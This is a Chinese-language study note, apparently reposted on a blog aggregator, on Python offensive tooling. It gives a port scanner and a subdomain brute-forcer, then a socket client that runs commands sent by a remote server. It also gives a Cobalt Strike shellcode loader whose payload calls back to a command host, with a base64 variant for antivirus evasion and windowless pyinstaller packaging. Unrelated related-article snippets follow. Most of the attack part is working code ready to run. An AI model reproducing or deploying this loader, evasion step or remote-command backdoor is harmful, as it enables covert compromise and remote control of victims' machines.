2、安全开发-Python-Socket编程端口探针域名爆破反弹Shell编码免杀

用途:个人学习笔记,欢迎指正!

目录

主要内容:

一、端口扫描(未开防火墙情况)

1、Python关键代码:

2、完整代码:多线程配合Queue进行全端口扫描

二、子域名扫描

三、客户端,服务端Socket编程通信cmd命令执行

1、客户端:

2、服务端:

四、python代码shellCode编码免杀&后门上线

1、CS生成shellcode 

2、python未编码:  二进制shellcode执行,CS上线代码

3、将shellcode进行base64编码,然后解码运行

4、pyinstaller打包脚本,#cmd命令


主要内容:

python-Socket编程:主要对端口扫描、子域名扫描、客户端服务端通信等脚本简单实现,python打包工具pyinsaller使用,以及python代码执行shellcode-CS上线。

一、端口扫描(未开防火墙情况)

1、Python关键代码:

s = socket.socket()
s.connect((ip,port)) #判断端口是否开放,如果开放则能连接成功

2、完整代码:多线程配合Queue进行全端口扫描

import socket,sys,threading,queue#端口扫描
#获取扫描的IP和端口
#连接IP和端口(socket)
#判断连接状态-开放和关闭def port_scan(ip):while not q.empty():port=q.get()s=socket.socket()try:s.connect((ip,port))print(ip+":"+str(port)+':open')except Exception as e:pass#print(str(port)+':close')finally:s.close()if __name__ == '__main__':#自定义端口扫描#ports=input('please input scan ports(eg:135,80,445):')#ip=input('please input scan ip:')ip=sys.argv[1]   #接收IPth_nums = sys.argv[2]  #接收线程数#全端口扫描q=queue.Queue()for port in range(1,65536):q.put(port)for th_num in range(int(th_nums)):t = threading.Thread(target=port_scan,args=(ip,))t.start()

二、子域名扫描

1、Python关键代码:

ip = socket.gethostbyname(urls)   //判断域名是否存在,如果存在则能获取到ip

2、完整代码: 子域名扫描

import socket
#通过域名解析IP
#域名存在 IP就有 不存在就没有 报错
#dic.txt字典保存随机字符的组合,用于拼接URL进行扫描
def subDomain_scan(url):for u in open('dic.txt'):urls=(u+'.'+url).replace('\n','')#print(urls)try:ip=socket.gethostbyname(urls)print(urls+"|"+ip)except Exception as e:passif __name__ == '__main__':url=input('please input scan url:')subDomain_scan(url)

三、客户端,服务端Socket编程通信cmd命令执行

s=os.popen(cmdLine).read()     #python代码执行cmd命令
pyinstaller --onefile --noconsole your_script.py   #cmd命令:pyinstaller打包

1、客户端:

import socket,oshost = "127.0.0.1" 
port = 6665   
if __name__ == '__main__':client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)client.connect((host,port))while True:# cmdLine = input("please input cmdLine:")# client.send(cmdLine.encode('utf-8'))try:cmdLine = client.recv(4096).decode('utf-8')result = os.popen(cmdLine).read()client.send(result.encode('utf-8'))except Exception as e:pass

2、服务端:

import socket,osbind_ip = "0.0.0.0"
bind_port = 6665if __name__ == '__main__':server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server.bind((bind_ip, bind_port))server.listen(5)while True:client,addr = server.accept()print(str(addr)+"上线了!")while True:cmdLine = input("please input cmdLine:")client.send(cmdLine.encode('utf-8'))result = client.recv(4096).decode('utf-8')print(str(addr) + "执行命令-----》" + cmdLine)print(result)# result = os.popen(cmdLine).read()# client.send(result.encode('utf-8'))

四、python代码shellCode编码免杀&后门上线

前提:

1、python版本与shellcodes生成位数一致
2、amd inter cpu型号要和python版本一致

1、CS生成shellcode 

2、python未编码:  二进制shellcode执行,CS上线代码

import ctypes#shellcode由CS生成
shellcode = b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x0a\x1a\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x44\x51\x56\x71\x00\xda\xae\x91\xc9\x39\x2e\xdb\x7b\x3e\x41\x32\xf3\xae\x10\x3e\x67\x6e\x64\xd7\x56\x13\x45\x9f\x2d\xed\xb2\x32\x93\xbb\x9e\xed\x17\x5a\xa3\x17\xc4\x34\xfb\x77\xc8\x9b\xa8\x1d\x83\xd1\xf1\x0c\xfe\xed\x59\x79\x27\x30\xf4\x80\x75\x6e\xaa\x25\x28\xbc\xfc\xb7\x68\x15\xbd\x16\x6d\x86\xdf\x6f\x4a\x7b\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x31\x2e\x31\x2e\x34\x33\x32\x32\x3b\x20\x42\x4f\x49\x45\x38\x3b\x45\x4e\x55\x53\x29\x0d\x0a\x00\xba\x79\x54\xdc\x1e\xdf\x51\x79\x3c\x5f\xb4\xe2\x52\x59\x4c\xbc\x57\xc9\x8e\x9f\x59\x4c\x62\x7a\x7c\x2f\xab\x27\x00\xef\x84\xd2\xb1\xc4\x19\xdf\x73\xec\x25\x1e\xf6\xfc\x89\x2b\x7f\x9e\xc5\xdb\x6c\xac\x73\x8a\xfd\x6c\x94\x9f\xeb\x18\xb5\x42\xcb\x1b\xc1\xed\x8e\xd4\x6e\x96\x8d\x13\x0e\x0d\x8f\x51\x68\x3a\xa6\x24\xcb\xc5\x1f\xde\x15\x7e\xa7\xbc\x32\x8a\xcd\x09\x19\x65\x2e\x32\xc9\x4a\xe2\xdb\x47\x44\x37\x61\x56\xde\xf5\x0f\x32\x7a\xdc\x12\x20\xb3\x08\x63\x34\x6e\x41\x99\xf7\x78\x1d\xb0\xc5\x73\x64\xb6\xad\x46\x91\xc6\x84\x14\xbd\x38\xbe\x80\x87\x8c\x9f\xec\xc9\xb0\x65\x23\xf5\x3a\x14\x25\x90\x3a\x4a\x77\x4a\xaf\x3b\xf5\x43\x3f\xe7\x6f\x10\xdd\x5e\xc7\xc6\x4f\x20\x48\x1a\xc0\x24\x6f\x28\xb1\x62\x75\x1b\xa9\x36\xba\xd9\xfe\xac\xe9\xc5\xa8\x94\x56\x9b\xdf\x4b\xd6\x8a\x05\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x33\x39\x2e\x31\x33\x30\x00\x17\x50\x65\xea"rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode),0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0,0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

3、将shellcode进行base64编码,然后解码运行

import ctypes#shellcode的base64编码值
buf = b"XHhmY1x4ZThceDg5XHgwMFx4MDBceDAwXHg2MFx4ODlceGU1XHgzMVx4ZDJceDY0XHg4Ylx4NTJceDMwXHg4Ylx4NTJceDBjXHg4Ylx4NTJceDE0XHg4Ylx4NzJceDI4XHgwZlx4YjdceDRhXHgyNlx4MzFceGZmXHgzMVx4YzBceGFjXHgzY1x4NjFceDdjXHgwMlx4MmNceDIwXHhjMVx4Y2ZceDBkXHgwMVx4YzdceGUyXHhmMFx4NTJceDU3XHg4Ylx4NTJceDEwXHg4Ylx4NDJceDNjXHgwMVx4ZDBceDhiXHg0MFx4NzhceDg1XHhjMFx4NzRceDRhXHgwMVx4ZDBceDUwXHg4Ylx4NDhceDE4XHg4Ylx4NThceDIwXHgwMVx4ZDNceGUzXHgzY1x4NDlceDhiXHgzNFx4OGJceDAxXHhkNlx4MzFceGZmXHgzMVx4YzBceGFjXHhjMVx4Y2ZceDBkXHgwMVx4YzdceDM4XHhlMFx4NzVceGY0XHgwM1x4N2RceGY4XHgzYlx4N2RceDI0XHg3NVx4ZTJceDU4XHg4Ylx4NThceDI0XHgwMVx4ZDNceDY2XHg4Ylx4MGNceDRiXHg4Ylx4NThceDFjXHgwMVx4ZDNceDhiXHgwNFx4OGJceDAxXHhkMFx4ODlceDQ0XHgyNFx4MjRceDViXHg1Ylx4NjFceDU5XHg1YVx4NTFceGZmXHhlMFx4NThceDVmXHg1YVx4OGJceDEyXHhlYlx4ODZceDVkXHg2OFx4NmVceDY1XHg3NFx4MDBceDY4XHg3N1x4NjlceDZlXHg2OVx4NTRceDY4XHg0Y1x4NzdceDI2XHgwN1x4ZmZceGQ1XHgzMVx4ZmZceDU3XHg1N1x4NTdceDU3XHg1N1x4NjhceDNhXHg1Nlx4NzlceGE3XHhmZlx4ZDVceGU5XHg4NFx4MDBceDAwXHgwMFx4NWJceDMxXHhjOVx4NTFceDUxXHg2YVx4MDNceDUxXHg1MVx4NjhceDBhXHgxYVx4MDBceDAwXHg1M1x4NTBceDY4XHg1N1x4ODlceDlmXHhjNlx4ZmZceGQ1XHhlYlx4NzBceDViXHgzMVx4ZDJceDUyXHg2OFx4MDBceDAyXHg0MFx4ODRceDUyXHg1Mlx4NTJceDUzXHg1Mlx4NTBceDY4XHhlYlx4NTVceDJlXHgzYlx4ZmZceGQ1XHg4OVx4YzZceDgzXHhjM1x4NTBceDMxXHhmZlx4NTdceDU3XHg2YVx4ZmZceDUzXHg1Nlx4NjhceDJkXHgwNlx4MThceDdiXHhmZlx4ZDVceDg1XHhjMFx4MGZceDg0XHhjM1x4MDFceDAwXHgwMFx4MzFceGZmXHg4NVx4ZjZceDc0XHgwNFx4ODlceGY5XHhlYlx4MDlceDY4XHhhYVx4YzVceGUyXHg1ZFx4ZmZceGQ1XHg4OVx4YzFceDY4XHg0NVx4MjFceDVlXHgzMVx4ZmZceGQ1XHgzMVx4ZmZceDU3XHg2YVx4MDdceDUxXHg1Nlx4NTBceDY4XHhiN1x4NTdceGUwXHgwYlx4ZmZceGQ1XHhiZlx4MDBceDJmXHgwMFx4MDBceDM5XHhjN1x4NzRceGI3XHgzMVx4ZmZceGU5XHg5MVx4MDFceDAwXHgwMFx4ZTlceGM5XHgwMVx4MDBceDAwXHhlOFx4OGJceGZmXHhmZlx4ZmZceDJmXHg0NFx4NTFceDU2XHg3MVx4MDBceGRhXHhhZVx4OTFceGM5XHgzOVx4MmVceGRiXHg3Ylx4M2VceDQxXHgzMlx4ZjNceGFlXHgxMFx4M2VceDY3XHg2ZVx4NjRceGQ3XHg1Nlx4MTNceDQ1XHg5Zlx4MmRceGVkXHhiMlx4MzJceDkzXHhiYlx4OWVceGVkXHgxN1x4NWFceGEzXHgxN1x4YzRceDM0XHhmYlx4NzdceGM4XHg5Ylx4YThceDFkXHg4M1x4ZDFceGYxXHgwY1x4ZmVceGVkXHg1OVx4NzlceDI3XHgzMFx4ZjRceDgwXHg3NVx4NmVceGFhXHgyNVx4MjhceGJjXHhmY1x4YjdceDY4XHgxNVx4YmRceDE2XHg2ZFx4ODZceGRmXHg2Zlx4NGFceDdiXHgwMFx4NTVceDczXHg2NVx4NzJceDJkXHg0MVx4NjdceDY1XHg2ZVx4NzRceDNhXHgyMFx4NGRceDZmXHg3YVx4NjlceDZjXHg2Y1x4NjFceDJmXHgzNFx4MmVceDMwXHgyMFx4MjhceDYzXHg2Zlx4NmRceDcwXHg2MVx4NzRceDY5XHg2Mlx4NmNceDY1XHgzYlx4MjBceDRkXHg1M1x4NDlceDQ1XHgyMFx4MzhceDJlXHgzMFx4M2JceDIwXHg1N1x4NjlceDZlXHg2NFx4NmZceDc3XHg3M1x4MjBceDRlXHg1NFx4MjBceDM1XHgyZVx4MzFceDNiXHgyMFx4NTRceDcyXHg2OVx4NjRceDY1XHg2ZVx4NzRceDJmXHgzNFx4MmVceDMwXHgzYlx4MjBceDJlXHg0ZVx4NDVceDU0XHgyMFx4NDNceDRjXHg1Mlx4MjBceDMxXHgyZVx4MzFceDJlXHgzNFx4MzNceDMyXHgzMlx4M2JceDIwXHg0Mlx4NGZceDQ5XHg0NVx4MzhceDNiXHg0NVx4NGVceDU1XHg1M1x4MjlceDBkXHgwYVx4MDBceGJhXHg3OVx4NTRceGRjXHgxZVx4ZGZceDUxXHg3OVx4M2NceDVmXHhiNFx4ZTJceDUyXHg1OVx4NGNceGJjXHg1N1x4YzlceDhlXHg5Zlx4NTlceDRjXHg2Mlx4N2FceDdjXHgyZlx4YWJceDI3XHgwMFx4ZWZceDg0XHhkMlx4YjFceGM0XHgxOVx4ZGZceDczXHhlY1x4MjVceDFlXHhmNlx4ZmNceDg5XHgyYlx4N2ZceDllXHhjNVx4ZGJceDZjXHhhY1x4NzNceDhhXHhmZFx4NmNceDk0XHg5Zlx4ZWJceDE4XHhiNVx4NDJceGNiXHgxYlx4YzFceGVkXHg4ZVx4ZDRceDZlXHg5Nlx4OGRceDEzXHgwZVx4MGRceDhmXHg1MVx4NjhceDNhXHhhNlx4MjRceGNiXHhjNVx4MWZceGRlXHgxNVx4N2VceGE3XHhiY1x4MzJceDhhXHhjZFx4MDlceDE5XHg2NVx4MmVceDMyXHhjOVx4NGFceGUyXHhkYlx4NDdceDQ0XHgzN1x4NjFceDU2XHhkZVx4ZjVceDBmXHgzMlx4N2FceGRjXHgxMlx4MjBceGIzXHgwOFx4NjNceDM0XHg2ZVx4NDFceDk5XHhmN1x4NzhceDFkXHhiMFx4YzVceDczXHg2NFx4YjZceGFkXHg0Nlx4OTFceGM2XHg4NFx4MTRceGJkXHgzOFx4YmVceDgwXHg4N1x4OGNceDlmXHhlY1x4YzlceGIwXHg2NVx4MjNceGY1XHgzYVx4MTRceDI1XHg5MFx4M2FceDRhXHg3N1x4NGFceGFmXHgzYlx4ZjVceDQzXHgzZlx4ZTdceDZmXHgxMFx4ZGRceDVlXHhjN1x4YzZceDRmXHgyMFx4NDhceDFhXHhjMFx4MjRceDZmXHgyOFx4YjFceDYyXHg3NVx4MWJceGE5XHgzNlx4YmFceGQ5XHhmZVx4YWNceGU5XHhjNVx4YThceDk0XHg1Nlx4OWJceGRmXHg0Ylx4ZDZceDhhXHgwNVx4MDBceDY4XHhmMFx4YjVceGEyXHg1Nlx4ZmZceGQ1XHg2YVx4NDBceDY4XHgwMFx4MTBceDAwXHgwMFx4NjhceDAwXHgwMFx4NDBceDAwXHg1N1x4NjhceDU4XHhhNFx4NTNceGU1XHhmZlx4ZDVceDkzXHhiOVx4MDBceDAwXHgwMFx4MDBceDAxXHhkOVx4NTFceDUzXHg4OVx4ZTdceDU3XHg2OFx4MDBceDIwXHgwMFx4MDBceDUzXHg1Nlx4NjhceDEyXHg5Nlx4ODlceGUyXHhmZlx4ZDVceDg1XHhjMFx4NzRceGM2XHg4Ylx4MDdceDAxXHhjM1x4ODVceGMwXHg3NVx4ZTVceDU4XHhjM1x4ZThceGE5XHhmZFx4ZmZceGZmXHgzMVx4MzlceDMyXHgyZVx4MzFceDM2XHgzOFx4MmVceDMxXHgzM1x4MzlceDJlXHgzMVx4MzNceDMwXHgwMFx4MTdceDUwXHg2NVx4ZWE="
shellcode = base64.b64decode(buf)  #解码rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode),0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0,0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

4、pyinstaller打包脚本,#cmd命令

pyinstaller --onefile --noconsole your_script.py  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/664781.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Nginx简单阐述及安装配置

目录 一.什么是Nginx 二.Nginx优缺点 1.优点 2.缺点 三.正向代理与反向代理 1.正向代理 2.反向代理 四.安装配置 1.添加Nginx官方yum源 2.使用yum安装Nginx 3.配置防火墙 4.启动后效果 一.什么是Nginx Nginx(“engine x”)是一个高性能的HTTP…

Linux Zip解压缩命令

Zip 用法 $ zip [-选项] [-b 路径] [-t 日期] [-n 后缀名] [压缩文件列表] [-xi 列表] 默认操作是添加或替换压缩文件列表中的压缩文件条目,压缩文件列表可以包括特殊名称 -,压缩标准输入数据 Zip 是一个创建和管理 zip 文件的压缩工具 Unzip 是一个用…

算法day10

算法day10 20 有效的括号1047 删除字符串中的所有相邻重复性150 逆波兰表达式求值 20 有效的括号 拿到这个题的想法,首先我在想我能不能用数组的操作来扫描做。后来想想,如果这样做那特判也太多了,不好做。然后第二个想法就是用栈来做&…

机器学习-基础分类算法-KNN详解

KNN-k近邻算法 k-Nearest Neighbors 思想极度简单应用数学只是少效果好可以解释机器学习算法使用过程中的很多细节问题更完整的刻画机器学习应用的流程 创建简单测试用例 import numpy as np import matplotlib.pyplot as plt raw_data_X [[3.393533211, 2.331273381],[3.1…

ubuntu20.04安装sumo

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 有问题,请大家指出,争取使方法更完善。这只是ubuntu安装sumo的一种方法。一、注意事项1、首先明确你的ubuntu的用户名是什么 二、sumo安装1.…

基于springboot篮球论坛系统源码和论文

首先,论文一开始便是清楚的论述了系统的研究内容。其次,剖析系统需求分析,弄明白“做什么”,分析包括业务分析和业务流程的分析以及用例分析,更进一步明确系统的需求。然后在明白了系统的需求基础上需要进一步地设计系统,主要包罗软件架构模式、整体功能模块、数据库设计。本项…

国家博物馆逆向抢票协议

逆向工程的具体步骤可以因项目和目标系统的不同而有所变化。然而,以下是一般逆向工程的一般步骤: 1. 分析目标系统:对待逆向的系统进行调研和了解,包括其架构、功能、使用的技术等方面的信息。 2. 反汇编或反编译:使…

保姆级CDN使用教程,解决可能出现的各种问题

如果你还没有注册雨云(rainyun),可以通过该链接进行注册雨云 - 新一代云服务提供商 通过该链接注册是可以白嫖到优惠券的,可以白嫖CDN。 比直接注册划算。 雨云的cdn在国内表现是非常不错的,而且不需要域名进行备案 在…

如何创建长期有效的文件二维码?支持多文件批量生成单独二维码

现在很多人为了避免文件通过文件有时效的问题,会将文件生成二维码之后来使用,将文件存入二维码中通过扫码调取云端的储存的数据来实现文件的预览或者下载。那么对于想要学习文件二维码制作的小伙伴,可以学习下面的方法来制作,利用…

flask基于django大数据的证券股票分析系统python可视化大屏

证券分析系统采用B/S架构,数据库是MySQL。网站的搭建与开发采用了先进的Python进行编写,使用了Django框架。该系统从两个对象:由管理员和用户来对系统进行设计构建。主要功能包括:个人信息修改,对股票信息、股票买入、…

XML传参方式

export function groupLoginAPI(xmlData) {return http.post(/tis/group/1.0/login, xmlData, {headers: {Content-Type: application/xml,X-Requested-With: AAServer/4.0,}}) }import {groupLoginAPI} from "../api/user"; function (e) { //xml格式传参let groupX…

网络安全全栈培训笔记(60-服务攻防-中间件安全CVE复现WeblogicJenkinsGlassFish)

第60天 服务攻防-中间件安全&CVE复现&Weblogic&Jenkins&GlassFish 知识点: 中间件及框架列表: lIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoos,WebSphere,Jenkins, GlassFish,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Sprng,Flask,jQuery 1、中间件-Web…

【C/C++ 10】扫雷小游戏

一、题目 写一个扫雷小游戏,每次输入一个坐标,若该处是地雷,则游戏失败,若该处不是地雷,则显示周围地雷数量,若扫除全部非地雷区域,则扫雷成功。 二、算法 设置两张地图(二维数组&…

chisel decoupled

Decoupled 即为接口包装一层valid 和 ready ,decoupled 默认方向为输出,如果需要输入,可以加.flip, Decoupled 可以直接调用Bundle或者Bits,Bundle 内的端口也应该用bits定义 注意: ready和valid不能组合耦合,否则可能…

C# SSH.NET 长命令及时返回

在SSH中执行长时间的命令,SSH.NET及时在文本框中返回连续显示结果。 c# - Execute long time command in SSH.NET and display the results continuously in TextBox - Stack Overflow 博主管理了一个服务器集群,准备上自动巡检工具,测试在…

Linux Rootkit实验|01 基于修改系统调用表的Hook

Linux Rootkit实验|01 基于修改系统调用表的Hook 文章目录 Linux Rootkit实验|01 基于修改系统调用表的Hook实验说明实验环境实验过程一 基于修改sys_call_table的系统调用挂钩1 寻找sys_call_table内存地址2 关掉写保护3 修改sys_call_table 二 基于系统…

AI新工具(20240203) 文心一言APP数字分身;HuggingChat Assistants等

文心一言APP数字分身-一键生成专属数字分身 文心一言数字分身是一项新功能,用户只需一张照片和录制三句语音,就能创建一个专属的数字分身。这个数字分身还支持个性化定义名称、声音、MBTI性格等,用户可以选择是否公开自己的数字分身。这个功…

概率论中的全概率公式、贝叶斯公式解析

全概率公式 定义 全概率公式是用来计算一个事件的概率,这个事件可以通过几个互斥事件的并集来表示。这几个互斥事件称为“完备事件系”。实质是由原因推结果。 公式 用途 全概率公式通常用于计算一个事件的总概率,特别是当这个事件与几个不同的因素相关…

C++进阶--C++11 lambda表达式

C进阶--C11 lambda表达式 一、lambda表达式的概念二、lambda表达式的语法2.1 lambda表达式语法格式2.2 lambda表达式捕获列表说明 三、lambda表达式交换两个数3.1 标准写法3.2 利用捕捉列表进行捕捉3.3 利用捕捉列表进行捕捉 四、lambda表达式的底层原理4.1 底层原理4.2 lambda…

qt中使用mysql 数据库

QT 版本介绍 虽然版本是这个,但是工作目录确是: 下面陈述安装步骤 第一步: 就是安装MYSQL 数据库,在此不再赘述了,很多博主已经上传了。 第二步: 就是拷贝QT 对应mysql 的版本驱动到 QT 的编译器文件中…